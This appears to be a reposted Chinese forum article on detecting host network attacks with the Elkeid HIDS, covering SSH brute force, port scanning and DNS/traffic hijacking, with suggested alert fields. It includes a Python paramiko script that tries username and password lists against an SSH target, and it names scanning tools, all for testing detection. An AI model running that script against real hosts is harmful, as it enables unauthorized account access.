涛声依旧在 发表于 2024-9-1 20:52:14

主机安全-网络攻击监测

概述

本文先容主机网络层面上的攻击场景,每种攻击场景举一个例子。监测方面以字节跳动的开源HIDS elkeid举例。
针对网络攻击,通常可以思量从以下方面做规则


[*]来源ip:针对非常ip,有访问即告警。
[*]访问端口:针对高危端口,有访问即告警。
[*]访问频率:针对过多的访问,在一段时间内超过频率即告警。例如,对同一端口或多个端口。
暴力破解(SSH爆破为例)

原理

暴力破解指的是针对开放的端口,提供的服务需要凭据才能访问,但是没有对用户行为做频率的限制,存在弱口令时可能爆破成功。
规则

https://i-blog.csdnimg.cn/direct/ea9c7dbc901744cb9d4b1e7459edd962.png
bruteforce_single_source_detect
这个是针对单一源ip做的告警
https://i-blog.csdnimg.cn/direct/bf68efc6cfab4b83940716417c71dece.png
bruteforce_multi_source_detect
https://i-blog.csdnimg.cn/direct/9c2d6dd368514366bfbd51e98b462c81.png
bruteforce_success_detect
暴力破解,通过密码登录成功
https://i-blog.csdnimg.cn/direct/f2929aa8262b4b1799438b886d6edf27.png
攻击模拟

import paramiko

# 配置目标主机的IP地址和端口
TARGET_IP = '172.19.0.16'# 替换为目标IP
TARGET_PORT = 22# 替换为目标端口

# 读取用户名和密码
def read_file(filename):
    with open(filename, 'r') as file:
      return

# 尝试SSH登录
def attempt_ssh_login(username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
   
    try:
      ssh.connect(TARGET_IP, port=TARGET_PORT, username=username, password=password)
      return True
    except paramiko.AuthenticationException:
      return False
    except Exception as e:
      print(f"Error connecting to {TARGET_IP}: {e}")
      return False
    finally:
      ssh.close()

def main():
    usernames = read_file('username.txt')
    passwords = read_file('password.txt')

    for username in usernames:
      for password in passwords:
            success = attempt_ssh_login(username, password)
            if success:
                print(f"Success: Username: {username}, Password: {password}")
            else:
                print(f"Failed: Username: {username}, Password: {password}")

if __name__ == "__main__":
    main()
https://i-blog.csdnimg.cn/direct/eaf89a4d76f1490cb8be5f09d951cdd2.png
告警

https://i-blog.csdnimg.cn/direct/9142d0ae4d584335a2740ae07d6d43db.png
https://i-blog.csdnimg.cn/direct/956ba1ba7a234221836ddc808f340707.png
给出了源ip,除了这个还可以思量提供其他信息


[*]实验次数
[*]失败次数
[*]成功次数
[*]成功用户
[*]登录的时间
端口扫描

原理

对多个端口发起网络探测,确定端口存活、协议等指纹信息。
规则

这里elkeid没有给出,根据原理可以类似ssh爆破,对同一个ip来源扫描多个端口或对单个端口以不同协议高频率扫描。
攻击模拟

利用nmap或masscan等端口扫描工具即可。
告警

告警保举包罗以下字段:


[*]源ip
[*]源端口
[*]扫描开始时间
流量挟制

原理

流量挟制是指在主机和第三方服务之间添加了恶意攻击者,常见DNS挟制、HTTP挟制、CDN挟制等。以DNS挟制为例,攻击者可能篡改了主机的DNS设置文件。
规则

编写规则时可以思量检测设置文件,或者判断流量的特征。例如,DNS的设置文件为/etc/resolv.conf。DNS隧道攻击时,流量中会有大量的编码后的子域名哀求特征。
攻击模拟

这个需要一个远程服务器,从github上也没看到fake dns server之类的,先留个坑。
告警

告警保举包罗以下字段:


[*]本地文件
[*]修改内容
[*]恶意服务器域名或ip
参考

流量挟制
DNS隧道攻击原理及常用攻击分析

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 主机安全-网络攻击监测